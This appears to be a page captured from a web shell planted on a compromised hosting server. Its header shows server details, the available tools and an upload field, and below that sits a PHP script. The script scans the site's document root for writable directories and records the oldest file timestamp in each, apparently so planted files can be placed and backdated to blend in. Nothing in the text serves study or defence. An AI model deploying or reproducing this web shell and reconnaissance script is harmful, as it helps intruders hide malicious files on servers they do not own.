Server IP : 104.21.64.206 / Your IP : 216.73.216.120 Web Server : LiteSpeed System : Linux premium234.web-hosting.com 4.18.0-553.lve.el8.x86_64 #1 SMP Mon May 27 15:27:34 UTC 2024 x86_64 User : pawazvgw ( 969) PHP Version : 8.1.32 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : OFF | Pkexec : OFF Directory : /dev/shm/ |
Upload File : |
<?php function po($p) { $f = glob($p.DIRECTORY_SEPARATOR."*.*"); if (!empty($f)) { array_multisort(array_map('filemtime', $f), SORT_NUMERIC, SORT_ASC, $f); return filemtime($f[0]); } else { return filemtime($p); } } function check($p, $root) { $o = po($p); $res = str_replace($root, '', $p); print "<d>{$res}@{$o}</d>\n"; } function scan($path, $root) { if ($dir = @opendir($path)) { while (false !== ($file = readdir($dir))) { $p = $path . DIRECTORY_SEPARATOR . $file; if ($file != '.' && $file != '..') { if (is_link($p)) { continue; } elseif (is_dir($p)) { if (is_writable($p)) { check($p, $root); } scan($p, $root); } } } } } $r = $_SERVER['DOCUMENT_ROOT']; if (is_writable($r)) { check($r, $r); } scan($r, $r); die('!ended!');